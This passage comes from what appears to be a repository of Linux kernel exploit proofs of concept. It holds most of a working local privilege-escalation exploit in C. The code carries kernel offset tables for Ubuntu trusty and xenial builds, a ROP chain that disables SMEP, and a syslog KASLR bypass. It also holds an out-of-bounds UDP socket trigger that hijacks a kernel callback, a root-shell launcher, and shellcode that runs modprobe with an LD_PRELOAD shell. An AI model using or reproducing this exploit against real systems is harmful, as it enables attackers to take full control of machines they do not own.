0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 97 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 98 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 99 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 100 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 101 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 102 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 106 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 107 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 108 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 112 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 113 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 114 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 118 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 119 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 120 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 121 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 122 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 123 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 124 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 125 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 132 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 133 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 134 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 135 | }; 136 | 137 | // Used to get root privileges. 138 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 139 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 140 | 141 | // Used when ENABLE_SMEP_BYPASS is used. 142 | // - xchg eax, esp ; ret 143 | // - pop rdi ; ret 144 | // - mov dword ptr [rdi], eax ; ret 145 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 146 | // - neg rax ; ret 147 | // - pop rcx ; ret 148 | // - or rax, rcx ; ret 149 | // - xchg eax, edi ; ret 150 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 151 | // - jmp rcx 152 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 153 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 154 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 155 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 156 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 157 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 158 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 159 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 160 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 161 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 162 | 163 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 164 | 165 | void *(*module_alloc)(long) = (void *)X_module_alloc; 166 | long (*schedule_on_each_cpu)(long) = (void *)X_schedule_on_each_cpu; 167 | 168 | static char shellcode[] = { 169 | # include "shellcode.inc" 170 | }; 171 | 172 | static void __attribute__((always_inline)) inline get_root_real(void) { 173 | void *p = module_alloc(sizeof(shellcode)); 174 | __builtin_memcpy(p, shellcode, sizeof(shellcode)); 175 | schedule_on_each_cpu((long)p); 176 | } 177 | 178 | void (*mutex_lock)(void *) = (void *)X_mutex_lock; 179 | void (*mutex_unlock)(void *) = (void *)X_mutex_unlock; 180 | void *(*text_poke)(void *, const void *, long) = (void *)X_text_poke; 181 | 182 | void get_root() { 183 | char data[4]; 184 | __builtin_memcpy(data, (void *)X_get_kprobe, sizeof(data)); 185 | mutex_lock((void *)X_module_mutex); 186 | text_poke((void *)X_get_kprobe, (char []){ "\x48\x31\xc0\xc3" }, 4); 187 | get_root_real(); 188 | text_poke((void *)X_get_kprobe, data, sizeof(data)); 189 | mutex_unlock((void *)X_module_mutex); 190 | } 191 | 192 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 193 | 194 | uint64_t saved_esp; 195 | 196 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 197 | // can be used to omit a function's prologue, so I had to use this weird 198 | // wrapper hack as a workaround. Note: Clang does support it, which means it 199 | // has better support of GCC attributes than GCC itself. Funny. 200 | void wrapper() { 201 | asm volatile (" \n\ 202 | payload: \n\ 203 | movq %%rbp, %%rax \n\ 204 | movq $0xffffffff00000000, %%rdx \n\ 205 | andq %%rdx, %%rax \n\ 206 | movq %0, %%rdx \n\ 207 | addq %%rdx, %%rax \n\ 208 | movq %%rax, %%rsp \n\ 209 | call get_root \n\ 210 | ret \n\ 211 | " : : "m"(saved_esp) : ); 212 | } 213 | 214 | void payload(); 215 | 216 | #define CHAIN_SAVE_ESP \ 217 | *stack++ = POP_RDI_RET; \ 218 | *stack++ = (uint64_t)&saved_esp; \ 219 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 220 | 221 | #define SMEP_MASK 0x100000 222 | 223 | #define CHAIN_DISABLE_SMEP \ 224 | *stack++ = MOV_RAX_CR4_RET; \ 225 | *stack++ = NEG_RAX_RET; \ 226 | *stack++ = POP_RCX_RET; \ 227 | *stack++ = SMEP_MASK; \ 228 | *stack++ = OR_RAX_RCX_RET; \ 229 | *stack++ = NEG_RAX_RET; \ 230 | *stack++ = XCHG_EAX_EDI_RET; \ 231 | *stack++ = MOV_CR4_RDI_RET; 232 | 233 | #define CHAIN_JMP_PAYLOAD \ 234 | *stack++ = POP_RCX_RET; \ 235 | *stack++ = (uint64_t)&payload; \ 236 | *stack++ = JMP_RCX; 237 | 238 | void mmap_stack() { 239 | uint64_t stack_aligned, stack_addr; 240 | int page_size, stack_size, stack_offset; 241 | uint64_t* stack; 242 | 243 | page_size = getpagesize(); 244 | 245 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 246 | stack_addr = stack_aligned - page_size * 4; 247 | stack_size = page_size * 8; 248 | stack_offset = XCHG_EAX_ESP_RET % page_size; 249 | 250 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 251 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 252 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 253 | perror("[-] mmap()"); 254 | exit(EXIT_FAILURE); 255 | } 256 | 257 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 258 | 259 | CHAIN_SAVE_ESP; 260 | CHAIN_DISABLE_SMEP; 261 | CHAIN_JMP_PAYLOAD; 262 | } 263 | 264 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 265 | 266 | #define SYSLOG_ACTION_READ_ALL 3 267 | #define SYSLOG_ACTION_SIZE_BUFFER 10 268 | 269 | void mmap_syslog(char** buffer, int* size) { 270 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 271 | if (*size == -1) { 272 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 273 | exit(EXIT_FAILURE); 274 | } 275 | 276 | *size = (*size / getpagesize() + 1) * getpagesize(); 277 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 278 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 279 | 280 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 281 | if (*size == -1) { 282 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 283 | exit(EXIT_FAILURE); 284 | } 285 | } 286 | 287 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 288 | const char* needle1 = "Freeing unused"; 289 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 290 | if (substr == NULL) { 291 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 292 | exit(EXIT_FAILURE); 293 | } 294 | 295 | int start = 0; 296 | int end = 0; 297 | for (end = start; substr[end] != '-'; end++); 298 | 299 | const char* needle2 = "ffffff"; 300 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 301 | if (substr == NULL) { 302 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 303 | exit(EXIT_FAILURE); 304 | } 305 | 306 | char* endptr = &substr[16]; 307 | unsigned long r = strtoul(&substr[0], &endptr, 16); 308 | 309 | r &= 0xffffffffff000000ul; 310 | 311 | return r; 312 | } 313 | 314 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 315 | const char* needle1 = "Freeing unused"; 316 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 317 | if (substr == NULL) { 318 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 319 | exit(EXIT_FAILURE); 320 | } 321 | 322 | int start = 0; 323 | int end = 0; 324 | for (start = 0; substr[start] != '-'; start++); 325 | for (end = start; substr[end] != '\n'; end++); 326 | 327 | const char* needle2 = "ffffff"; 328 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 329 | if (substr == NULL) { 330 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 331 | exit(EXIT_FAILURE); 332 | } 333 | 334 | char* endptr = &substr[16]; 335 | unsigned long r = strtoul(&substr[0], &endptr, 16); 336 | 337 | r &= 0xfffffffffff00000ul; 338 | r -= 0x1000000ul; 339 | 340 | return r; 341 | } 342 | 343 | unsigned long get_kernel_addr() { 344 | char* syslog; 345 | int size; 346 | mmap_syslog(&syslog, &size); 347 | 348 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 349 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 350 | return get_kernel_addr_trusty(syslog, size); 351 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 352 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 353 | return get_kernel_addr_xenial(syslog, size); 354 | 355 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 356 | exit(EXIT_FAILURE); 357 | } 358 | 359 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 360 | 361 | struct ubuf_info { 362 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 363 | uint64_t ctx; // void * 364 | uint64_t desc; // unsigned long 365 | }; 366 | 367 | struct skb_shared_info { 368 | uint8_t nr_frags; // unsigned char 369 | uint8_t tx_flags; // __u8 370 | uint16_t gso_size; // unsigned short 371 | uint16_t gso_segs; // unsigned short 372 | uint16_t gso_type; // unsigned short 373 | uint64_t frag_list; // struct sk_buff * 374 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 375 | uint32_t tskey; // u32 376 | uint32_t ip6_frag_id; // __be32 377 | uint32_t dataref; // atomic_t 378 | uint64_t destructor_arg; // void * 379 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 380 | }; 381 | 382 | struct ubuf_info ui; 383 | 384 | void init_skb_buffer(char* buffer, unsigned long func) { 385 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 386 | memset(ssi, 0, sizeof(*ssi)); 387 | 388 | ssi->tx_flags = 0xff; 389 | ssi->destructor_arg = (uint64_t)&ui; 390 | ssi->nr_frags = 0; 391 | ssi->frag_list = 0; 392 | 393 | ui.callback = func; 394 | } 395 | 396 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 397 | 398 | #define SHINFO_OFFSET 3164 399 | 400 | void oob_execute(unsigned long payload) { 401 | char buffer[4096]; 402 | memset(&buffer[0], 0x42, 4096); 403 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 404 | 405 | int s = socket(PF_INET, SOCK_DGRAM, 0); 406 | if (s == -1) { 407 | perror("[-] socket()"); 408 | exit(EXIT_FAILURE); 409 | } 410 | 411 | struct sockaddr_in addr; 412 | memset(&addr, 0, sizeof(addr)); 413 | addr.sin_family = AF_INET; 414 | addr.sin_port = htons(8000); 415 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 416 | 417 | if (connect(s, (void*)&addr, sizeof(addr))) { 418 | perror("[-] connect()"); 419 | exit(EXIT_FAILURE); 420 | } 421 | 422 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 423 | int rv = send(s, buffer, size, MSG_MORE); 424 | if (rv != size) { 425 | perror("[-] send()"); 426 | exit(EXIT_FAILURE); 427 | } 428 | 429 | int val = 1; 430 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 431 | if (rv != 0) { 432 | perror("[-] setsockopt(SO_NO_CHECK)"); 433 | exit(EXIT_FAILURE); 434 | } 435 | 436 | send(s, buffer, 1, 0); 437 | 438 | close(s); 439 | } 440 | 441 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 442 | 443 | #define CHUNK_SIZE 1024 444 | 445 | int read_file(const char* file, char* buffer, int max_length) { 446 | int f = open(file, O_RDONLY); 447 | if (f == -1) 448 | return -1; 449 | int bytes_read = 0; 450 | while (true) { 451 | int bytes_to_read = CHUNK_SIZE; 452 | if (bytes_to_read > max_length - bytes_read) 453 | bytes_to_read = max_length - bytes_read; 454 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 455 | if (rv == -1) 456 | return -1; 457 | bytes_read += rv; 458 | if (rv == 0) 459 | return bytes_read; 460 | } 461 | } 462 | 463 | #define LSB_RELEASE_LENGTH 1024 464 | 465 | void get_distro_codename(char* output, int max_length) { 466 | char buffer[LSB_RELEASE_LENGTH]; 467 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 468 | if (length == -1) { 469 | perror("[-] open/read(/etc/lsb-release)"); 470 | exit(EXIT_FAILURE); 471 | } 472 | const char *needle = "DISTRIB_CODENAME="; 473 | int needle_length = strlen(needle); 474 | char* found = memmem(&buffer[0], length, needle, needle_length); 475 | if (found == NULL) { 476 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 477 | exit(EXIT_FAILURE); 478 | } 479 | int i; 480 | for (i = 0; found[needle_length + i] != '\n'; i++) { 481 | assert(i < max_length); 482 | assert((found - &buffer[0]) + needle_length + i < length); 483 | output[i] = found[needle_length + i]; 484 | } 485 | } 486 | 487 | void get_kernel_version(char* output, int max_length) { 488 | struct utsname u; 489 | int rv = uname(&u); 490 | if (rv != 0) { 491 | perror("[-] uname())"); 492 | exit(EXIT_FAILURE); 493 | } 494 | assert(strlen(u.release) <= max_length); 495 | strcpy(&output[0], u.release); 496 | } 497 | 498 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 499 | 500 | #define DISTRO_CODENAME_LENGTH 32 501 | #define KERNEL_VERSION_LENGTH 32 502 | 503 | void detect_versions() { 504 | char codename[DISTRO_CODENAME_LENGTH]; 505 | char version[KERNEL_VERSION_LENGTH]; 506 | 507 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 508 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 509 | 510 | int i; 511 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 512 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 513 | strcmp(&version[0], kernels[i].version) == 0) { 514 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 515 | kernel = i; 516 | return; 517 | } 518 | } 519 | 520 | printf("[-] kernel version not recognized\n"); 521 | exit(EXIT_FAILURE); 522 | } 523 | 524 | #define PROC_CPUINFO_LENGTH 4096 525 | 526 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 527 | int smap_smep_enabled() { 528 | char buffer[PROC_CPUINFO_LENGTH]; 529 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 530 | if (length == -1) { 531 | perror("[-] open/read(/proc/cpuinfo)"); 532 | exit(EXIT_FAILURE); 533 | } 534 | int rv = 0; 535 | char* found = memmem(&buffer[0], length, "smep", 4); 536 | if (found != NULL) 537 | rv += 1; 538 | found = memmem(&buffer[0], length, "smap", 4); 539 | if (found != NULL) 540 | rv += 2; 541 | return rv; 542 | } 543 | 544 | void check_smep_smap() { 545 | int rv = smap_smep_enabled(); 546 | if (rv >= 2) { 547 | printf("[-] SMAP detected, no bypass available\n"); 548 | exit(EXIT_FAILURE); 549 | } 550 | #if !ENABLE_SMEP_BYPASS 551 | if (rv >= 1) { 552 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 553 | exit(EXIT_FAILURE); 554 | } 555 | #endif 556 | } 557 | 558 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 559 | 560 | static bool write_file(const char* file, const char* what, ...) { 561 | char buf[1024]; 562 | va_list args; 563 | va_start(args, what); 564 | vsnprintf(buf, sizeof(buf), what, args); 565 | va_end(args); 566 | buf[sizeof(buf) - 1] = 0; 567 | int len = strlen(buf); 568 | 569 | int fd = open(file, O_WRONLY | O_CLOEXEC); 570 | if (fd == -1) 571 | return false; 572 | if (write(fd, buf, len) != len) { 573 | close(fd); 574 | return false; 575 | } 576 | close(fd); 577 | return true; 578 | } 579 | 580 | void setup_sandbox() { 581 | int real_uid = getuid(); 582 | int real_gid = getgid(); 583 | 584 | if (unshare(CLONE_NEWUSER) != 0) { 585 | printf("[!] unprivileged user namespaces are not available\n"); 586 | perror("[-] unshare(CLONE_NEWUSER)"); 587 | exit(EXIT_FAILURE); 588 | } 589 | if (unshare(CLONE_NEWNET) != 0) { 590 | perror("[-] unshare(CLONE_NEWUSER)"); 591 | exit(EXIT_FAILURE); 592 | } 593 | 594 | if (!write_file("/proc/self/setgroups", "deny")) { 595 | perror("[-] write_file(/proc/self/set_groups)"); 596 | exit(EXIT_FAILURE); 597 | } 598 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 599 | perror("[-] write_file(/proc/self/uid_map)"); 600 | exit(EXIT_FAILURE); 601 | } 602 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 603 | perror("[-] write_file(/proc/self/gid_map)"); 604 | exit(EXIT_FAILURE); 605 | } 606 | 607 | cpu_set_t my_set; 608 | CPU_ZERO(&my_set); 609 | CPU_SET(0, &my_set); 610 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 611 | perror("[-] sched_setaffinity()"); 612 | exit(EXIT_FAILURE); 613 | } 614 | 615 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 616 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 617 | exit(EXIT_FAILURE); 618 | } 619 | if (system("/sbin/ifconfig lo up") != 0) { 620 | perror("[-] system(/sbin/ifconfig lo up)"); 621 | exit(EXIT_FAILURE); 622 | } 623 | } 624 | 625 | void exec_shell() { 626 | char* shell = "/bin/bash"; 627 | char* args[] = {shell, "-i", NULL}; 628 | execve(shell, args, NULL); 629 | } 630 | 631 | bool is_root() { 632 | // We can't simple check uid, since we're running inside a namespace 633 | // with uid set to 0. Try opening /etc/shadow instead. 634 | int fd = open("/etc/shadow", O_RDONLY); 635 | if (fd == -1) 636 | return false; 637 | close(fd); 638 | return true; 639 | } 640 | 641 | void check_root() { 642 | printf("[.] checking if we got root\n"); 643 | if (!is_root()) { 644 | printf("[-] something went wrong =(\n"); 645 | return; 646 | } 647 | printf("[+] got r00t ^_^\n"); 648 | exec_shell(); 649 | } 650 | 651 | int main(int argc, char** argv) { 652 | printf("[.] starting\n"); 653 | 654 | printf("[.] checking distro and kernel versions\n"); 655 | detect_versions(); 656 | printf("[~] done, versions looks good\n"); 657 | 658 | printf("[.] checking SMEP and SMAP\n"); 659 | check_smep_smap(); 660 | printf("[~] done, looks good\n"); 661 | 662 | if (!fork()) { 663 | sleep(2), execl(SHELL, "shell", NULL); 664 | } 665 | 666 | printf("[.] setting up namespace sandbox\n"); 667 | setup_sandbox(); 668 | printf("[~] done, namespace sandbox set up\n"); 669 | 670 | #if ENABLE_KASLR_BYPASS 671 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 672 | KERNEL_BASE = get_kernel_addr(); 673 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 674 | #endif 675 | 676 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 677 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 678 | 679 | unsigned long payload = (unsigned long)&get_root; 680 | 681 | #if ENABLE_SMEP_BYPASS 682 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 683 | mmap_stack(); 684 | payload = XCHG_EAX_ESP_RET; 685 | printf("[~] done, fake stack mmapped\n"); 686 | #endif 687 | 688 | printf("[.] executing payload %lx\n", payload); 689 | oob_execute(payload); 690 | printf("[~] done, should be root now\n"); 691 | 692 | wait(NULL); 693 | 694 | return 0; 695 | } 696 | -------------------------------------------------------------------------------- /006-kprobes_disable/shellcode.c: -------------------------------------------------------------------------------- 1 | #include "poc.h" 2 | 3 | void _start(void) { 4 | int (*call_usermodehelper)(const char *, void *, void *, int) = (void *)X_call_usermodehelper; 5 | char *argv[] = { (char []){ "/sbin/modprobe" }, 0 }; 6 | char *envp[] = { (char []){ LD_PRELOAD_SHELL }, 0 }; 7 | call_usermodehelper(argv[0], argv, envp, 1); 8 | } 9 | -------------------------------------------------------------------------------- /007-direct_inode_manipulation_2/.gitignore: -------------------------------------------------------------------------------- 1 | poc 2 | poc.h 3 | shellcode 4 | shellcode.inc 5 | -------------------------------------------------------------------------------- /007-direct_inode_manipulation_2/Makefile: -------------------------------------------------------------------------------- 1 | SYMLIST = mutex_lock|mutex_unlock|module_mutex|text_poke|get_kprobe|module_alloc|schedule_on_each_cpu|user_path_at_empty|path_put 2 | 3 | KERNEL_CFLAGS = \ 4 | -static -nostartfiles -nodefaultlibs -nostdlib \ 5 | -mno-80387 -mno-fp-ret-in-387 -mno-mmx -mno-sse -mno-sse2 -mno-3dnow -mno-avx \ 6 | -mpreferred-stack-boundary=4 -mno-red-zone \ 7 | -fomit-frame-pointer -fno-stack-protector 8 | 9 | .PHONY: all 10 | all: poc.c 11 | sudo grep -w -E '($(SYMLIST))' /proc/kallsyms | awk '{printf("#define X_%s 